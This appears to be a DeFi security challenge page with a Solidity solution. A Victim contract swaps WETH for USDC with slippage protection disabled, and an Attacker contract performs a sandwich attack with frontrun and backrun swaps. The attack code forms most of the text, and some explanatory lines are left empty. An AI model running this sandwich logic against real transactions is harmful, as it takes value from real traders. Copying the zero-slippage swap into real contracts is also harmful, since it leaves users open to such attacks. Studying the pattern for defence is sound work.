SandwichSwap
Victim turns slippage protection off by setting amountOutMin = 0 swaps 1000 weth (token0) for usdc (token1)
function performSwap(address[] calldata path, uint256 deadline) public {
IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
}
To perform a sandwich attack, we implement frontrun and backrun:
In frontrun,
In backrun,
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IERC20.sol";
/**
*
* SANDWICH ATTACK AGAINST A SWAP TRANSACTION
*
* We have two contracts: Victim and Attacker. Both contracts have an initial balance of 1000 WETH. The Victim contract
* will swap 1000 WETH for USDC, setting amountOutMin = 0.
* The challenge is use the Attacker contract to perform a sandwich attack on the victim's
* transaction to make profit.
*
*/
contract Attacker {
// This function will be called before the victim's transaction.
function frontrun(address router, address weth, address usdc, uint256 deadline) public {
// Approve router to spend WETH
uint256 wethBalance = IERC20(weth).balanceOf(address(this));
IERC20(weth).approve(router, wethBalance);
// Create path for WETH -> USDC swap
address[] memory path = new address[](2);
path[0] = weth;
path[1] = usdc;
// Swap WETH for USDC to increase the price of USDC
IUniswapV2Router(router).swapExactTokensForTokens(
wethBalance,
0, // amountOutMin
path,
address(this),
deadline
);
}
// This function will be called after the victim's transaction.
function backrun(address router, address weth, address usdc, uint256 deadline) public {
// Get USDC balance
uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
// Approve router to spend USDC
IERC20(usdc).approve(router, usdcBalance);
// Create path for USDC -> WETH swap
address[] memory path = new address[](2);
path[0] = usdc;
path[1] = weth;
// Swap USDC back to WETH at the higher price
IUniswapV2Router(router).swapExactTokensForTokens(
usdcBalance,
0, // amountOutMin
path,
address(this),
deadline
);
}
}
contract Victim {
address public immutable router;
constructor(address _router) {
router = _router;
}
function performSwap(address[] calldata path, uint256 deadline) public {
IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
}
}
interface IUniswapV2Router {
/**
* amountIn: the amount to use for swap.
* amountOutMin: the minimum amount of output tokens that must be received for the transaction not to revert.
* path: an array of token addresses. In our case, WETH and USDC.
* to: recipient address to receive the liquidity tokens.
* deadline: timestamp after which the transaction will revert.
*/
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
Last updated